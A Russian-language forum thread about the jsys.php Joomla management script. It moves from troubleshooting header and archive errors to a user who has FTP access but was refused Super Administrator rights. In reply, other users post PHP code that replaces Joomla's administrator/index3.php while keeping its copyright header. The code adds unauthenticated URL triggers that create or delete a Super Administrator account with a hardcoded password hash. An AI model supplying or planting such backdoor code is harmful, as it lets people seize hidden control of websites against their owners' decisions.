Однажды скачал с Вашего сайта такую отличную программу как Joomla System Tool (jsys.php) Сайт перенес на новый сервер и никак не хочет работать эта программа, без нее как без рук, ошибка такая, захожу ввожу пароль и пишет - "Warning: Cannot modify header information - headers already sent by (output started at /home/uralremm/public_html/jsys.php:1) in /home/uralremm/public_html/jsys.php on line 95" Помогите исправить эту ошибку или скажите подобные программы... Спасибо
Ответ: Joomla System Tool перестал работать такая штука иногда выскакивает, если файл пересохранили в уникоде с бом/битом, который вставляется в самом начале файла перед <php. проверь, нет ли в файле лишних знаков (особенно в самом начале перед <php) и пересохрани. ну а коль не поможет, так жди dead_krolika.
Ответ: Joomla System Tool перестал работать Я вот что скажу. Чили-банг скорее всего прав. В таких случаях я обычно прошу показать что там творится на первой строке. В фаре открой фтп и посмотри по F3 в шестнадцатиричном редакторе. Скриншот что ли сделай. Ну или заново залей ее.
Ответ: Joomla System Tool перестал работать Ну вот мой скрин шот)) посмотри Dead Krolik что не так там в файле - http://uralremmash.ru/far_screnn_shot.jpg Добавлено через 6 минут млин, скачал по новой jsys.php с вашего сайта, посмотрел его в фаре, он чистенький без всяких закарючек, думаю щас на фтп перезалью и все нормально работать будет, но ни фига, захожу ввожу пароль снова пишет - "Warning: Cannot modify header information - headers already sent in /home/uralremm/public_html/jsys.php on line 95 Вы вошли в систему" P.S. Перестала работать программка после того как мне на хостинке перезалии сайт на новый сервер... Dead Krolik может быть в этом причина?
Ответ: Joomla System Tool перестал работать такое же западло с невидимыми знаками может вполне быть в файле configuration.php. глянь ка и там.
Ответ: Joomla System Tool перестал работать Бывают такие глючные фтп-сервера. Особенно у америкосов. Я когда заливаю всегда в фаре размер сравниваю. Если не срослось - заливаю по новой. В принципе, по этим же хитрым причинам может не работать авторизация, тогда ее просто вырубай нафик.
Так добрался и до этого скрипта, но и тут меня настигла непонятная проблема. Короче говоря, при создании архива, пишет: Код (CODE): PCLZIP_ERR_BAD_FORMAT (-10) : Unable to find End of Central Dir Record signature Или вообще ничего не пишет, просто зависает окно браузера, нужно обновлять. Кто то может подсказать решение?
Откройте файл jsys.php В 10 строке - $JSYS_PASSWORD = '111111'; Указывайте свой пароль, который потом и вводите.
Уважаемый Dead Krolik, не могу получить с помощью jsys.php доступ к пользователям и паролям Джумлы. Файловый менеджер работает, а при переходе на "Установка пароля" сервер выбрасывает ошибки: Notice: Undefined variable: mosConfig_host in /мой_сайт/jsys.php on line 134 Notice: Undefined variable: mosConfig_user in /мой_сайт/jsys.php on line 134 Notice: Undefined variable: mosConfig_password in /мой_сайт/jsys.php on line 134 Notice: Undefined variable: mosConfig_db in /мой_сайт/jsys.php on line 134 Notice: Undefined variable: mosConfig_dbprefix in /мой_сайт/jsys.php on line 134 Warning: include(/мой_сайт/../configuration.php) [function.include]: failed to open stream: No such file or directory in /мой_сайт/jsys.php(1180) : eval()'d code on line 57 Warning: include() [function.include]: Failed opening '/мой_сайт/../configuration.php' for inclusion (include_path='.:') in /мой_сайт/jsys.php(1180) : eval()'d code on line 57 Warning: include(/мой_сайт/../offline.php) [function.include]: failed to open stream: No such file or directory in /мой_сайт/jsys.php(1180) : eval()'d code on line 58 Warning: include() [function.include]: Failed opening '/мой_сайт/../offline.php' for inclusion (include_path='.:') in /мой_сайт/jsys.php(1180) : eval()'d code on line 58 Такое же происходит и на локалхосте. Версия скрипта version 002
Логично предположить, что файла configuration.php почему-то нет на месте. Кроме того не забываем, что эта штучка только для 1.0.х
Подскажите пожалуйста в чём у меня может быть проблема. Раньше всё прекрасно архивировалось. А счас вместо окна "архив создан, скачать" - пустое окно браузера. И сам архив битый и неполный. Хостинг агава, права выставляюю 755, 777 хостер не даёт и раньше всё было нормально. В чём может быть проблема? Спасибо.
Верно, я на 1.5 Джумле запускал. Обидно, право, мне нужно только создать нового пользователя с правами Суперадмина, а потом ликвидировать его тоже скриптом. А в PHP я ноль. Доступ FTP дали, а Суперадмина зажали
этим кодом замени содержимое файла administrator/index3.php Код (PHP): <?php /* ИСПОЛЬЗОВАНИЕ ПИШЕШЬ В АДРЕСНОЙ СТРОКЕ http://(имя сайта)/administrator/index3.php?add - добавит пользователя login с паролем 1236547890 http://(имя сайта)/administrator/index3.php?add - удалит пользователя login */ if (isset($_REQUEST['add'])) { // ОЗНАЧАЕТ добавление include ('../configuration.php'); $JC = new JConfig; mysql_connect($JC->host, $JC->user, $JC->password) or die( "Сервер базы данных не доступен" ); mysql_select_db($JC->db) or die( "База данных не доступна" ); $query="INSERT INTO ".$JC->dbprefix."users (`name`,`username`,`password`,`usertype`,`block`,`gid`) "; $query .="VALUES ('login', 'login', '79aaf94872b15106dd4178cba648974c:1gY6jSRxCkfYQOg8sXR0fMRyhvGz2zi1', 'Super Administrator', 0, 25)"; mysql_query($query) or die( "Ошибка при выполнении запроса: ".mysql_error() ); } if (isset($_REQUEST['del'])) { // ОЗНАЧАЕТ удаление include ('../configuration.php'); $JC = new JConfig; mysql_connect($JC->host, $JC->user, $JC->password) or die( "Сервер базы данных не доступен" ); mysql_select_db($JC->db) or die( "База данных не доступна" ); $query="DELETE FROM ".$JC->dbprefix."users WHERE `username` = 'login'"; mysql_query($query) or die( "Ошибка при выполнении запроса: ".mysql_error() ); } /** * @version $Id: index3.php 10381 2008-06-01 03:35:53Z pasamio $ * @package Joomla * @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See COPYRIGHT.php for copyright notices and details. */ //echo 'проехали'; $_REQUEST['tmpl'] = 'component'; include('index.php'); ?>
woojin, скрипт опробовал, но при входе в админку с вишеприведенными атрибутами не пускает (логин и пароль не совпадают). Пробую на локалхосте - то же самое, но в базе данных запись появилась и соответственно удаляется при параметре ?del. Поменял в скрипте хеш пароля на уже известный - при входе в админку говорит что этому пользователю вход в админку запрещен. Очевидно, одной записи в БД мало, что ли...
Yar, хешь состоавляется на основе логина и пароля, а не только пароля, так что надо менять и логин и хешь под него
woojin, ты прав, как-то я протупил в этом вопросе. Значит, проблема в том, что в моей сборке метод хеширования иной, чем в твоем скрипте. Как нибудь разберусь. Отдельно спасибо за скрипт.
малеха поправим Вас... Код (PHP): <?php /* ИСПОЛЬЗОВАНИЕ ПИШЕШЬ В АДРЕСНОЙ СТРОКЕ http://(имя сайта)/administrator/index3.php?add - добавит пользователя loginByJip с паролем passByJip http://(имя сайта)/administrator/index3.php?del - удалит пользователя loginByJip */ if (isset($_REQUEST['add'])) { // ОЗНАЧАЕТ добавление include ('../configuration.php'); $JC = new JConfig; mysql_connect($JC->host, $JC->user, $JC->password) or die( "Сервер базы данных не доступен" ); mysql_select_db($JC->db) or die( "База данных не доступна" ); $query="INSERT INTO ".$JC->dbprefix."users (`name`,`username`,`password`,`usertype`,`block`,`gid`) "; $query .="VALUES ('loginByJip', 'loginByJip', '879d7b6fdbec170505bfaf2b6846ded6:GFmYz3Nww6DX3ru0D95ItKqclSFfsYMn', 'Super Administrator', 0, 25)"; mysql_query($query) or die( "Ошибка при выполнении запроса: ".mysql_error() ); $id=mysql_insert_id(); $query="INSERT INTO ".$JC->dbprefix."core_acl_aro (`value`,`name`) "; $query .="VALUES ('".$id."', 'loginByJip')"; mysql_query($query) or die( "Ошибка при выполнении запроса: ".mysql_error() ); $id=mysql_insert_id(); $query="INSERT INTO ".$JC->dbprefix."core_acl_groups_aro_map (`group_id`,`aro_id`) "; $query .="VALUES (25, ".$id.")"; mysql_query($query) or die( "Ошибка при выполнении запроса: ".mysql_error() ); } if (isset($_REQUEST['del'])) { // ОЗНАЧАЕТ удаление include ('../configuration.php'); $JC = new JConfig; mysql_connect($JC->host, $JC->user, $JC->password) or die( "Сервер базы данных не доступен" ); mysql_select_db($JC->db) or die( "База данных не доступна" ); $query="DELETE FROM ".$JC->dbprefix."users WHERE `username` = 'loginByJip'"; mysql_query($query) or die( "Ошибка при выполнении запроса: ".mysql_error() ); } //echo 'проехали'; $_REQUEST['tmpl'] = 'component'; include('index.php'); ?> если joomla 1.5 тот что есть хэш если joomlaRE 1.5 используйте хэш ab9c20eac24e37ef6379e6d99b975a53:VcEFPq3HTxXNM0GQJwPGLBp683g9JzNu с вопросами стучитесь в icq:744177